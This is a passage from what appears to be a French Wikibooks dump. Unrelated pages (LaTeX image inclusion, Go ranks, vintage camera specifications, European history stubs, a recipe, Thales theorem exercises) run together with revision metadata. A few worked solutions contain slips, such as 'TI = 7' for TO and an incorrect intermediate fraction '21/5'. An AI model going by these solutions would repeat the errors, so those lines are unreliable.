l'image importée. |- | <span class="command">height=xx</span> | Indiquez à la place de ''xx'' la hauteur souhaitée de l'image importée. |- | colspan="2" | ''NB: en ne fournissant que l'un ou l'autre des paramètres précédents, l'image changera de taille en respectant le même rapport de proportionnalité.'' |- | <span class="command">keepaspectratio</span> | ce paramètre peut prendre deux valeurs ''true'' ou ''false''. Lorsqu'il est placé à ''true'', l'image sera changée de taille à la fois en hauteur et en largeur, mais l'image ne sera jamais aplatie de sorte que ni la largeur ni la hauteur ne seront dépassées. |- | <span class="command">scale=xx</span> | modifie la taille de l'image en suivant l'échelle donnée. Exemple 0.5 permet de réduire de moitié, ou 2 d'agrandir du double. |- | <span class="command">angle=xx</span> | Cette option peut tourner l'image de ''xx'' degrés (sens opposé à celui de la rotation des aiguilles d'une montre) |- | <span class="command">trim=g b d h</span> | Cette option aura pour effet de couper l'image importée de ''g'' à partir de la gauche, ''b'' à partir du bas, ''d'' à partir de la droite, et ''h'' à partir du haut; où ''g'', ''b'', ''d'' et ''h'' sont des longueurs. |- | <span class="command">clip</span> | Pour que l'option <span class="command">trim</span> fonctionne <span class="command">clip=true</span> doit être présente. |} NB: Pour utiliser plus d'une option en même temps, séparez les simplement avec des virgules. === Exemples === Il est temps maintenant d'afficher des graphiques. Vous êtes, comme toujours, invité à regarder le fichier d'exemple à la fin du cours d'instruction. Regardez tout d'abord le fichier ''.tex'', et ensuite le résultat ''.pdf''. Voici quelques exemples tirés dudit fichier ''.tex'': \includegraphics{poussin.eps} Cette commande importe l'image, cependant, elle est très grande (aussi je ne l'afficherai pas ici!). Aussi rapetissons là: \includegraphics[scale=0.5]{poussin.eps} [[Image:poussin1.png]] Elle a maintenant été réduite de moitié. Si vous souhaitez être plus spécifique et donner des longueurs réelles pour les dimensions de l'image, vous pouvez l'importer de cette façon: \includegraphics[width=2.5cm]{poussin.eps} [[Image:poussin2.png]] Pour tourner l'image (j'ai aussi rapetissé l'image): \includegraphics[scale=0.5, angle=180]{poussin.eps} [[Image:poussin3.png]] Et finalement, voici un exemple montrant comment couper une image de façon à se focaliser sur une région particulière: \includegraphics[trim = 10mm 80mm 20mm 5mm, clip, width=3cm]{poussin.eps} [[Image:poussin4.png]] Remarquez la présence de <span class="command">clip</span>, sans laquelle l'opération de découpage ne fonctionnerait pas. === Résumé === j'ai écrit tout ce dont vous devez savoir pour importer vos images dans un document Latex. Comme je l'ai dit, la conversion proprement dite est probablement la partie la plus longue du processus entier, puisque la commande pour inclure l'image est très simple. Il y a une rubrique importante manquant à ce cours d'instruction qui parlerait de la façon de faire devenir une image, ''une figure''. Pour cela, vous aimerez ajouter une légende, et ou y inclure une référence peut-être. Cependant, c'est délibéré, parce qu'il n'y a pas seulement les images qui peuvent être des figures. Par conséquent, ce sujet doit être traité dans un chapitre complet. Début Philosophique 6312 42938 2006-05-21T18:11:48Z 66.130.52.229 /* Le niveau des joueurs */ == La Métaphore == Go est fondamentalement, un jeu de territoire. Les deux joueurs posent leurs pierres chacun leur tour sur le plateau dans le but d'obtenir avec succès le plus de territoire possible. Un groupe de pierres doit faire attention de ne pas se faire capturer, ce qui arrive quand un groupe de pierres est complètement entouré par des pierres adverses, mais il est important de garder à l'esprit que le but du jeu est de posséder le plus de territoire possible, pas de capturer des pierres adverses. == Apprendre du Go == == Le niveau des joueurs == Les grades sont le système par lequel un joueur est évalué. Le niveau est utilisé pour voir si le joueur comprend et a une habilité au jeu. Un grade est normalement placé après le nom du joueur. Un joueur amateur est généralement dans un niveau entre 30 Kyu et 1 kyu, 30 étant le plus bas (débutant) et 1 le plus haut (très avancé). Un joueur professionnel a généralement un niveau entre 1 et 10 Dan, 1 Dan est le plus bas et 10 le plus haut. Une méthode simple pour mesurer son niveau est de passer par [http://www.motorscope.com/dojo/tests/ ce site.] == Proverbes == Photographie - 40 - Pignons 6315 27705 2005-12-27T14:20:16Z Jean-Jacques MILAN 114 {{Photographie}} La Société d'horlogerie Pignons est installée à Ballaigues, Canton de Vaud, Suisse. == Appareils 24 x 36 réflex == === ALPA 6 b === === Alpa 6 c (1961) === [[Image:Pignons Alpa 6 c 1961.jpg|thumb|180px|Pignons Alpa 6 c]] * '''Type d'appareil :''' 24 x 36 réflex * '''Format de film :''' 135 * '''Objectifs :''' Kern Switar ou Kern Macro-Switar 1,8/50 * '''Monture des objectifs :''' spécifique * '''Diaphragme :''' * '''Présélection du diaphragme :''' oui * '''Viseur :''' pentaprisme classique * '''Informations dans le viseur :''' * '''Mise au point :''' manuelle, dépoli de visée * '''Obturateur :''' * '''Prise de flash :''' * '''Déclencheur :''' * '''Contrôle de l'exposition :''' posemètre non couplé * '''Sensibilité film :''' * '''Mémorisation de la mesure :''' * '''Retardateur :''' * '''Avance du film :''' * '''Compteur de vues :''' * '''Expositions multiples :''' * '''Touche de profondeur de champ :''' * '''Dimensions :''' * '''Poids :''' (boîtier seul, sans pile). * '''Accessoires :''' * '''Remarques :''' le viseur à 45° qui faisait la particularité des modèles précédents 6 b a disparu et a laissé sa place au posemètre. Photographie - 40 - VEB Feingerate Weimar 6316 27710 2005-12-27T15:06:44Z Jean-Jacques MILAN 114 {{Photographie}} Société installée en Allemagne de l'Est == Posemètres == === Weimarlux (vers 1961) === [[Image:Posemetre WEIMARLUX.jpg|thumb|90px|Posemètre Weimarlux de VEB Feingerate Weimar]] Peut faire des mesures pour des éclairements allant de 1,5 à 50 000 lux. Photographie - 40 - Alsaphot 6317 27777 2005-12-27T20:11:15Z Jean-Jacques MILAN 114 /* Anjou (vers 1961) */ {{Photographie}} == Appareils 24 x 36 non réflex == === Maine I S (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Alsaphot Maine I S.png|180px|center]] |'''Caractéristiques :''' ''Type d'appareil :'' 24 X 36 à objectif fixe <br> ''Format de film :'' 135 <br> ''Objectif :'' SOM-Berthiot 2,8/45 mm <br> ''Diaphragme :'' de 2,8 à <br> ''Viseur :'' clair <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' manuelle <br> ''Obturateur :'' armement par levier <br> ''Prise de flash :'' oui <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' <br> ''Sensibilité film :'' <br> ''Retardateur :'' <br> ''Avance du film :'' <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' |- |} === Maine II C === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Alsaphot Maine II C.png|180px|center]] |'''Caractéristiques :''' ''Type d'appareil :'' 24 x 36 à objectif fixe <br> ''Format de film :'' 135 <br> ''Objectif :'' SOM-Berthiot 2,8/45 mm <br> ''Diaphragme :'' <br> ''Viseur :'' collimaté <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' <br> ''Obturateur :'' <br> ''Prise de flash :'' <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' <br> ''Sensibilité film :'' <br> ''Retardateur :'' <br> ''Avance du film :'' <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' |- |} === Maine III a (1961) === * '''Type d'appareil :''' 24 x 36 automatique * '''Format de film :''' 135 == Flashes == === Voltaflash (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Alsaphot Voltaflash.png|90px|center]] |'''Caractéristiques :''' ''Type d'appareil :'' flash magnésique à réflecteur déployable <br> ''Dimensions :'' 11 x 6 x 5 cm <br> ''Poids :'' <br> ''Remarques :'' ce flash reçoit les ampoules sans culot et se recharge sur le secteur |- |} == Projecteurs de diapositives == === Aldisette (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Alsaphot Aldisette.png|180px|center]] photo souhaitée |'''Caractéristiques :''' ''Type d'appareil :'' projecteur pour diapositives 5 x 5 <br> ''Puissance :'' 300 W <br> ''Objectifs :'' 2,8/85 mm et 2,8/100 mm <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' ventilation par turbine |- |} === Anjou (vers 1961) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Alsaphot Anjou.png|120px|center]] photo souhaitée |'''Caractéristiques :''' ''Type d'appareil :'' projecteur de 200 W pour diapositives sous cache 5 x 5 <br> ''Objectifs :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' utilise le passe-vues semi-automatique [[Photographie - 40 - Tiranty|Slimatic]]. <br> ''Remarques :'' aération obtenue sans moteur |- |} Photographie - 40 - Tiranty 6318 27723 2005-12-27T16:18:28Z Jean-Jacques MILAN 114 {{Photographie}} == Passe-vues pour projecteurs == === Slimatic === Passe-vues monté sur les projecteurs de diapositives de divers fabricants comme [[Photographie - 40 - Alsaphot|Alsaphot]] Image:Poussin1.png 6319 27739 2005-12-27T17:51:50Z Trotinette 954 Poussin 1 Poussin 1 Image:Poussin2.png 6320 27740 2005-12-27T17:52:15Z Trotinette 954 Poussin 2 Poussin 2 Image:Poussin3.png 6321 27742 2005-12-27T17:52:48Z Trotinette 954 Poussin 3 Poussin 3 Image:Poussin4.png 6322 27743 2005-12-27T17:53:09Z Trotinette 954 Poussin 4 Poussin 4 Histoire de l'Europe:Chapitre 4 6323 36888 2006-03-10T12:10:03Z CR 154 mot en double == Les débuts de la chrétienté == {{Histoire de l'Europe}} Le christianisme commence à se développer en Europe à partir des premiers voyages des apôtres notamment Paul qui évangélise la Turquie (Ephèse) et la Grèce Antique. Histoire de l'Europe:Chapitre 5 6324 27760 2005-12-27T19:41:03Z Chirosophe 728 == Les Germains == {{Histoire de l'Europe}} Histoire de l'Europe:Chapitre 7 6325 27761 2005-12-27T19:42:30Z Chirosophe 728 == Les Grandes Invasions == {{Histoire de l'Europe}} Histoire de l'Europe:Chapitre 8 6326 27762 2005-12-27T19:43:04Z Chirosophe 728 == L'Apogée de la Chrétienté == {{Histoire de l'Europe}} Histoire de l'Europe:Chapitre 9 6327 27763 2005-12-27T19:43:33Z Chirosophe 728 == La formation des états européens (XIVe-XVe siècle) == {{Histoire de l'Europe}} Histoire de l'Europe:Chapitre 11 6328 27764 2005-12-27T19:44:06Z Chirosophe 728 == Absolutisme et Lumières == {{Histoire de l'Europe}} Histoire de l'Europe:Chapitre 12 6329 27766 2005-12-27T19:44:33Z Chirosophe 728 == Les révolutions == {{Histoire de l'Europe}} Histoire de l'Europe:Chapitre 13 6330 27768 2005-12-27T19:44:58Z Chirosophe 728 == Romantisme et Nations == {{Histoire de l'Europe}} Histoire de l'Europe:Chapitre 14 6331 27770 2005-12-27T19:45:42Z Chirosophe 728 == La conquête de monde et les faiblesses de l'Europe == {{Histoire de l'Europe}} Histoire de l'Europe:Chapitre 16 6332 27771 2005-12-27T19:47:12Z Chirosophe 728 == Reconstruction et naissance d'un projet politique == {{Histoire de l'Europe}} Histoire de l'Europe:Chapitre 17 6333 27772 2005-12-27T19:47:51Z Chirosophe 728 == L'Europe de la guerre froide == {{Histoire de l'Europe}} Photographie - 40 - Démaria-Lapierre 6334 27793 2005-12-27T22:42:51Z Jean-Jacques MILAN 114 {{Photographie}} Démaria-Lapierre-Mollier était la plus ancienne maison française, fondée en 1848 et disparue en 1964. == Appareils pliants de moyen format == === Telka-Sport (1957) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Démaria-Lapierre-MollierTelka-Sport 1957.jpg|240px|center]] |'''Caractéristiques :''' ''Type d'appareil :'' appareil pliant bi-format, 4,5 x 6 et 24 x 36 <br> ''Format de film :'' 120 <br> ''Objectif :'' Sagittar f/3,5, traité <br> ''Diaphragme :'' de 3,5 à <br> ''Viseur :'' <br> ''Mise au point :'' sur double rampe hélicoïdale <br> ''Obturateur :'' central, vitesses jusqu'au 1/300e s, pose B, synchronisé <br> ''Prise de flash :'' <br> ''Déclencheur :'' <br> ''Retardateur :'' <br> ''Avance du film :'' <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' les clichés 24 x 36 sont obtenus sur du film 6 x 9. |- |} Photographie - 40 - King 6335 27797 2005-12-27T23:29:37Z Jean-Jacques MILAN 114 {{Photographie}} Société allemande Regula-Werk King K.G. à Bad-Liebenzell/Schwarzwald (Allemagne) == Appareils 24 x 36 non réflex == === Regulette (vers 1960) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:King Regulette.jpg|180px|center]] <br> meilleure photo souhaitée |'''Caractéristiques :''' ''Type d'appareil :'' 24 x 36 à objectif fixe de prix modique <br> ''Format de film :'' 135 <br> ''Objectif :'' 2,8/45 traité <br> ''Diaphragme :'' de 2,9 à <br> ''Viseur :'' à cadre ultra-lumineux <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' manuelle <br> ''Obturateur :'' <br> ''Prise de flash :'' <br> ''Déclencheur :'' ergonomique <br> ''Retardateur :'' <br> ''Avance du film :'' levier couplé à l'armement de l'obturateur <br> ''Compteur de vues :'' oui <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' |- |} === Regula (série d'appareils) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:King Regula.jpg|180px|center]] meilleure photo souhaitée |'''Caractéristiques :''' ''Type d'appareil :'' appareils 24 x 36 à objectif fixes <br> ''Format de film :'' 135 <br> ''Objectifs :'' <br> ''Diaphragme :'' commande crantée <br> ''Viseur :'' à cadre ultra lumineux <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' manuelle assistée par télémètre <br> ''Obturateur :'' <br> ''Prise de flash :'' oui <br> ''Déclencheur :'' <br> ''Contrôle de l'exposition :'' cellule couplée <br> ''Sensibilité film :'' <br> ''Retardateur :'' <br> ''Avance du film :'' <br> ''Compteur de vues :'' <br> ''Expositions multiples :'' <br> ''Dimensions :'' <br> ''Poids :'' <br> ''Accessoires :'' <br> ''Remarques :'' |- |} Cuisine:Recettes de cuisine canadienne 6337 44206 2006-06-09T07:00:42Z Stanlekub 1597 revert '''CROUSTADE AUX POMMES''' == Ingrédients == * 6 pommes * 1 tasse de gruau (flocons d'avoine) * 1 tasse de farine * 3/4 tasse de cassonade * 3/4 tasse de beurre * sirop d'érable == Préparation == * Préchauffer le four à 350°F (180°C) * Peler les pommes et les couper en tranches * Dans un bol, mélanger la farine, le gruau et la cassonade * Ajouter le beurre et mélanger (avec les mains) * Étendre les pommes dans un moule et arroser de sirop d'érable * Recouvrir les pommes du mélange sec * Cuire environ 35 minutes ---- Retour au [[Livre_de_Cuisine|sommaire]] Théorème de Thalès (E-M) 6341 32145 2006-02-09T09:59:37Z HB 15 /* Les élaborés */ + catégorie {{ExoMath}} Le [[w:théorème de Thalès|théorème de Thalès]] permet de calculer des longueurs connaissant un parallélisme ou de prouver un parallélisme connaissant des longueurs == Les basiques == === Calculer une longueur === *'''Exercice 1''' : On considère un triangle ''ABC'' tel que ''AB = 5'', ''BC = 6'' et ''CA = 7''. On place sur le segment ''[BC]'' un point ''M'' tel que ''BM = 4''. La parallèle à ''(AC)'' passant par ''M'' rencontre ''(BA)'' en ''N''. Calculer ''BN'', ''AN'' et ''MN''. {{boîte déroulante|titre=Solution|contenu = [[Image:thales1(E-M).png|right|250px]] :La première étape consiste toujours à faire une figure et à la renseigner. :Puis on repère les triangles en situation de Thalès et on vérifie les conditions d'application du théorème : :: Les points ''B'', ''M'', ''C'' sont alignés , les points ''B'', ''N'', ''A'' sont alignés, les droites ''(MN)'' et ''(AC)'' sont parallèles. On peut donc appliquer le théorème de Thalès dans les triangles ''BMN'' et ''BCA''. ::<math>\frac{BM}{BC} = \frac{BN}{BA} = \frac{MN}{CA}</math> :On remplace par les valeurs connues ::<math>\frac{4}{6} = \frac{BN}{5} = \frac{MN}{7}</math> :Quand, dans une égalité, 3 des longueurs sont connues, on peut en déduire la quatrième par le produit en croix ::<math>\frac{4}{6} = \frac{BN}{5}</math> donc <math>6BN = 4\times 5 \,</math> donc <math>BN = \frac{4\times5}{6} = \frac{10}{3}</math> : ''On vérifie sur la figure que le résultat est plausible'' ::<math>\frac{4}{6} = \frac{MN}{7}</math> donc <math>6MN = 4\times7 \,</math> donc <math>MN = \frac{4\times7}{6} = \frac{14}{3}</math> : On renseigne au fur et à mesure la figure. Elle permet de déterminer ''AN'' ::<math>AN = BA - BN = 5 - \frac{10}{3} = \frac{15}{3}- \frac{10}{3} = \frac{5}{3}</math> }} *'''Exercice 2''' : On considère un triangle ''TIC'' tel que ''TI = 5'', ''IC = 8'' et ''CT = 4''. On place sur la demi-droite ''[TI)'' un point ''O'' tel que ''TI = 7 ''. La parallèle à ''(IC)'' passant par ''O'' rencontre ''(CT)'' en ''S''. Calculer ''TS'', ''CS'' et ''OS''. {{boîte déroulante|titre=Solution|contenu = : Les points ''T'', ''I'', ''O'' sont alignés , les points ''T'', ''C'', ''S'' sont alignés, les droites ''(IC)'' et ''(OS)'' sont parallèles. On peut donc appliquer le théorème de Thalès dans les triangles ''TIC'' et ''TOS''. ::<math>\frac{TI}{TO} = \frac{TC}{TS} = \frac{IC}{OS}</math> :On remplace par les valeurs connues ::<math>\frac{5}{7} = \frac{4}{TS} = \frac{8}{OS}</math> :<math>\frac{5}{7} = \frac{4}{TS}</math> donc <math>5TS = 4\times 7 \,</math> donc <math>TS = \frac{28}{5}</math> :<math>\frac{5}{7} = \frac{8}{OS}</math> donc <math>5OS = 8\times 7 \,</math> donc <math>OS= \frac{56}{5}</math> : <math>CS = TS-TC = \frac{28}{5} - 4 = \frac{21}{5} - \frac{20}{5} = \frac{8}{5}</math> }} Ces exercices se déclinent à l'infini, en changeant le nom des points, les distances proposées et la configuration. La correction est automatique car il suffit de vérifier sur la figure construite la valeur trouvée pour la longueur. === Vérifier un parallélisme === *'''Exercice 1''' :On considère un triangle ''MNP'' tel que ''MN = 7'', ''NP=5'', ''PM = 8''. On place sur le segment ''[NP]'' un point ''A'' tel que ''NA = 1,25'' et sur le segment ''[PM]'' un point ''U'' tel que ''PU=6''. Les droites ''(AU)'' et ''(MN)'' sont-elles parallèles ? {{boîte déroulante|titre=Solution|contenu= : ''Construire une figure'' : Les points ''P'', ''A'', ''N'' sont alignés dans cet ordre. Les points ''P'', ''U'', ''M'' sont alignés dans cet ordre. Si on prouve que :: <math>\frac{PA}{PN} = \frac{PU}{PM}</math> : on pourra affirmer que les droites (''AU'') et (''NM'') sont parallèles. Or ::''PA = PN - AN = 5 - 1,25 = 3,75'' ::''PN = 5'', ''PU = 6'', ''PM = 8'' : Vérifions si :: <math>\frac{3,75}{5} = \frac{6}{8}</math> : en effectuant les produits en croix: :: <math>6 \times 5 = 30</math> :: <math>3,75 \times 8 = 30</math> : donc <math>\frac{3,75}{5} = \frac{6}{8}</math> : donc <math>\frac{PA}{PN} = \frac{PU}{PM}</math> : donc les droites (''AU'') et (''NM'') sont parallèles. }} *'''Exercice 2''' : Les segments ''[AB]'' et ''[CD]'' se coupent en O. On sait que ''AB= 4'', ''CD=6'', ''AO=1'' et ''DO=4,5'' ::1. Les droites (''AD'') et (''BC'') sont-elles parallèles ? ::2. Les droites (''AC'') et (''BD'') sont-elles parallèles ? {{boîte déroulante|titre=Solution|contenu= : ''Construire une figure'' : 1. : Les points ''A'', ''O'', ''B'' sont alignés dans cet ordre. Les points ''D'', ''O'', ''C'' sont alignés dans cet ordre. Les droites (''AD'') et (''BC'') sont parallèles si et seulement si :: <math>\frac{OA}{OB} = \frac{OD}{OC}</math> ::''OA = 1'', ''OB = 4 - 1 = 3'', ''OD = 4,5'' et ''OC = 6 - 4,5 = 1,5'' : Vérifions si :: <math>\frac{1}{3} = \frac{4,5}{1,5}</math> : en effectuant les produits en croix: :: <math>1,5 \times 1 = 1,5</math> :: <math>3\times 4,5 = 13,5</math> : Les produits sont différents donc <math>\frac{1}{3} \neq \frac{4,5}{1,5}</math> : donc <math>\frac{OA}{OB} \neq \frac{OD}{OC}</math> : donc les droites (''AD'') et (''BC'') ne sont pas parallèles. : 2. : Les points ''A'', ''O'', ''B'' sont alignés dans cet ordre. Les points ''D'', ''O'', ''C'' sont alignés dans cet ordre. Les droites (''AC'') et (''BD'') sont parallèles si et seulement si :: <math>\frac{OA}{OB} = \frac{OC}{OD}</math> ::''OA = 1'', ''OB = 3'', ''OD = 4,5'' et ''OC = 1,5'' : Vérifions si :: <math>\frac{1}{3} = \frac{1,5}{4,5}</math> : en effectuant les produits en croix: :: <math>4,5 \times 1 = 4,5</math> :: <math>3\times 1,5 = 4,5</math> : donc <math>\frac{1}{3} = \frac{1,5}{4,5}</math> : donc <math>\frac{OA}{OB} = \frac{OC}{OD}</math> : donc les droites (''AC'') et (''BD'') sont parallèles. }} === Prendre une fraction de segment avec une règle non graduée=== * '''Exercice 1''' : Comment prendre les deux tiers d'un segment [''AB''] ? {{boîte déroulante|titre=Solution|contenu= [[Image:Thales2(E-M).png|right|250px]] :On construit un point arbitraire <math>M_1</math>. Sur la demi-droite (<math>AM_1</math>), avec un compas, on reporte deux fois la longueur <math>AM_1</math> pour construire <math>M_2</math> puis <math>M_3</math>. Par construction, on a : ::<math> \frac{AM_2}{AM_3}=\frac 2 3 </math> :On mène par <math>M_2</math> une parallèle à (<math>BM_3</math>) qui rencontre le segment [''AB''] en C. : Les points ''A'', ''C'' et ''B'' sont alignés. Les points ''A'', <math>M_2</math> et <math>M_3</math> sont alignés. La droite (<math>CM_2</math>) est parallèle à la droite (<math>BM_3</math>). On peut donc appliquer le théorème de Thalès : ::<math> \frac{AM_2}{AM_3}=\frac {AC}{AB} = \frac 2 3 </math> ::<math>\frac {AC}{AB} =\frac 2 3 </math> donc <math> AC = {2 \over 3} AB</math> }} == Les élaborés == Il s'agit d'utiliser la configuration de Thalès dans les deux sens, c'est-à-dire exploiter un parallélisme pour trouver des égalités de rapport et exploiter des égalités de rapport pour prouver un parallélisme. On trouvera aussi des exercices où il faut prouver le parallélisme par d'autres méthodes avant d'appliquer le théorème de Thalès. Enfin, on travaillera aussi avec des égalités de rapport où l'inconnue apparaît deux fois. Enfin, dans les exercices de recherche, il s'agit d'une démonstration générale dans laquelle aucune des distances ne sont connues. * '''Exercice 1''' : On considère trois droites (<math>d_1</math>), (<math>d_2</math>) et (<math>d_3</math>) concourantes en ''O''. ''A'' est un point de (<math>d_1</math>) et ''OA = 3''. ''A'' est un point de (<math>d_2</math>) et ''OB = 4''. ''C'' est un point de (<math>d_3</math>) et ''OC = 5''. ''D'' est un point de la demi-droite [OA) et ''OD=5''. La parallèle à (''AB'') passant par ''D'' coupe (<math>d_2</math>) en ''E''. La parallèle à (''BC'') passant par ''E'' coupe (<math>d_3</math>) en ''F''. ::1. Calculer ''OE'' et ''OF''. ::2. Montrer que les droites (''AC'') et (''DF'') sont parallèles. {{boîte déroulante|titre=Solution|contenu= :''Faire une figure'' :1. :Les points ''O'', ''A'' et ''D'' sont alignés dans cet ordre. Les points ''O'', ''B'' et ''E'' sont alignés. Les droites (''AB'') et (''DE'') sont parallèles. On peut donc appliquer le théorème de Thalès dans les triangles (''OAB'') et (''ODE''). :: Les points ''O'', ''B'' et ''E'' sont alignés dans cet ordre. :: <math>{OA \over OD}={OB \over OE}</math> : En remplaçant, on obtient : ::<math>{3 \over 5}= {4 \over OE} \,</math> donc <math>3OE=5\times 4</math> donc <math>OE={20 \over 3}</math> : Même raisonnement dans les triangles (''OBC'') et (''OEF'') :: Les points ''O'', ''C'' et ''F'' sont alignés dans cet ordre. :: <math>{OB \over OE}={OC \over OF}</math> : En remplaçant, on obtient : ::<math>{4 \over 20/3}= {5 \over OF}</math> donc <math>4OF=5\times {20 \over 3}</math> donc <math>OF={25 \over 3}</math> :2. :Les points ''O'', ''A'' et ''D'' sont alignés dans cet ordre. Les points ''O'', ''C'' et ''F'' sont alignés dans cet ordre. Les droites (''AC'') et (''DF'') seront parallèles si et seulement si :: <math>\frac{OA}{OD} = \frac{OC}{OF}</math> ::''OA = 3'', ''OD = 5'', ''OC = 5'' et ''OF = 25/3'' : Vérifions si :: <math>\frac{3}{5} = \frac{5}{25/3}</math> : en effectuant les produits en croix: :: <math>3 \times 25/3 = 25</math> :: <math>5\times 5= 25</math> : les produits sont égaux donc <math>\frac{3}{5} = \frac{5}{25/3}</math> : donc <math>\frac{OA}{OD} = \frac{OC}{OF}</math> : donc les droites (''AC'') et (''DF'') sont parallèles. }} * '''Exercice 2''' [[Image:Thales3(E-M).png|right|200px]] : Dans la figure jointe, (''C'') est un cercle de centre ''O'', de rayon 5 et de diamètre [''AB'']. :La droite (<math>d_1</math>) est la médiatrice du segment [''OA''], la droite (<math>d_2</math>) est une tangente au cercle au point ''B''. :Le point ''M'' est un point commun à la droite (<math>d_1</math>) et au cercle (''C''). La droite (''OM'') rencontre la droite (<math>d_2</math>) en ''N''. :: 1. Montrer que les droites (<math>d_1</math>) et (<math>d_2</math>) sont parallèles. :: 2. Calculer la longueur ''ON''. {{boîte déroulante|titre=Solution|contenu = :1. : La droite (<math>d_1</math>) est la médiatrice du segment [''OA''], donc elle passe par ''I'' milieu de [''OA''] et est perpendiculaire à [''OA''] donc à (''AB''). : La droite (<math>d_2</math>) est une tangente au cercle au point ''B'' donc elle est perpendiculaire au rayon [''OB''] donc à (''AB''). : Dans le plan, deux droites perpendiculaire à une même droite sont parallèles donc (<math>d_1</math>) et (<math>d_2</math>) sont parallèles. :2. : Les points ''M'', ''O'' et ''N'' sont alignés. Les points ''I'', ''O'' et ''B'' sont alignés. Les droites (''MI'') et (''NB'') sont parallèles donc on peut appliquer le théorème de Thalès dans les triangles (''OMI'') et (''ONB'') :: <math>\frac{ON}{OM}=\frac{OB}{OI}</math> : On remplace sachant que ''OM = 5'', ''OB = 5'', ''OI = 2,5'' :: <math>\frac{ON}{5}=\frac{5}{2,5}</math> donc <math>2,5 \times ON = 5 \times 5 \,</math> donc <math>ON = {25\over 2,5} = 10</math> }} * '''Exercice 3''' (nécessite le [[w:théorème de Pythagore|Théorème de Pythagore]] et [[w:théorème de Thalès (cercle)|Théorème de Thalès anglosaxon]]) : On considère un segment [''AB''] tel que ''AB=7''. Soit ''M'' un point du segment [''AB''] tel que ''AM=2''. On trace les cercles (<math>C_1</math>) et (<math>C_2</math>) de diamètres [''AM''] et [''MB'']. Le point P est un point du cercle (<math>C_2</math>) tel que ''BP=2''. La droite (''PM'') recoupe le cercle (<math>C_1</math>) en ''N''. :: 1. Prouver que les droites (''BP'') et (''AN'') sont parallèles. :: 2. Calculer la distance ''AN''. :: 3. Calculer les distances ''MP'' et ''MN''. {{boîte déroulante|titre=Solution|contenu= [[Image:thales4(E-M).png|right|250px]] :1. :Le triangle ''MBP'' s'inscrit dans un cercle de diamètre [''MB'']. D'après le [[w:théorème de Thalès (cercle)|théorème de Thalès (cercle)]], le triangle est rectangle en ''P''. De même, le triangle ''AMN'' est rectangle en ''N''. Les droites (''BP'') et (''AN'') perpendiculaires toutes deux à (NP) sont donc parallèles. :2. :Les points ''N'', ''M'', ''P'' sont alignés, les points ''A'', ''M'', ''B'' sont alignés et les droites (''NA'') et (''PB'') sont parallèles. On peut donc appliquer le théorème de Thalès dans les triangles (''NMA'') et (''PMB''): :: <math>\frac{MA}{MB}=\frac{MN}{MP} = \frac{NA}{PB}</math> : On remplace par les valeurs connues :: <math>\frac{2}{5}=\frac{NA}{2}</math> : donc <math>5\times NA = 2 \times 2</math> donc <math>NA = \frac{4}{5}</math> :3. : Les triangles ''MPB'' et ''MNA'' sont rectangles en ''P'' et ''N''. On peut donc appliquer le [[w:théorème de Pythagore|théorème de Pythagore]] :: <math>MP^2 + PB^2 = MB^2</math> donc <math>MP^2 + 4 = 25</math> donc <math>MP^2 = 21</math> et <math>MP = \sqrt{21}</math> : On peut calculer ''NM'' en utilisant le théorème de Pythagore ou le théorème de Thalès. Il faut reprendre les égalités de rapport précédentes et remplacer : ::<math>\frac{2}{5}=\frac{NM}{\sqrt{21}}</math> donc <math>5NM = 2\sqrt{21}</math> et <math>NM = \frac{2}{5}\sqrt{21}</math> }} * ''' Exercice 4''' : On considère deux segments [''AB''] et [''CD''] sécants en ''O'' tels que ''AB=4'', ''CD=7'' et ''OA=1''. :: 1. Calculer ''OC'' pour que les droites (''AC'') et (''BD'') soient parallèles. :: 2. Calculer ''OC'' pour que les droites (''AD'') et (''BC'') soient parallèles. {{boîte déroulante|titre=Solution|contenu= :''Faire un schéma'' :1. :Les points ''A'', ''O'', ''B'' sont alignés dans cet ordre. Les points ''C'', ''O'', ''D'' sont alignés dans cet ordre. : ''OA = 1'' et ''AB = 4'' donc ''OB = 3'' : on note ''x'' la longueur ''OC''. On a alors : ''OC = x'' et ''CD = 7'' donc ''OD = 7 - x'' :Les droites (''AC'') et (''BD'') sont parallèles si et seulement si : <math>\frac{OA}{OB}=\frac{OC}{OD}</math>. :On remplace: ::<math>\frac{1}{3}=\frac{x}{7-x}</math> :On résout par un produit en croix : ::<math>3x = 1(7-x)</math> ::<math>3x = 7 - x</math> ::<math>4x = 7</math> donc <math>x = \frac{7}{4}</math> :2. :Les points ''A'', ''O'', ''B'' sont alignés dans cet ordre. Les points ''D'', ''O'', ''C'' sont alignés dans cet ordre. : ''OA = 1'' et ''AB = 4'' donc ''OB = 3'' : on note ''x'' la longueur ''OC''. On a alors : ''OC = x'' et ''CD = 7'' donc ''OD = 7 - x'' :Les droites (''AD'') et (''BC'') sont parallèles si et seulement si : <math>\frac{OA}{OB}=\frac{OD}{OC}</math>. :On remplace: ::<math>\frac{1}{3}=\frac{7-x}{x}</math> :On résout par un produit en croix : ::<math>3(7-x) = x</math> ::<math>21 - 3x = x</math> ::<math>21 = 4x</math> donc <math>x = 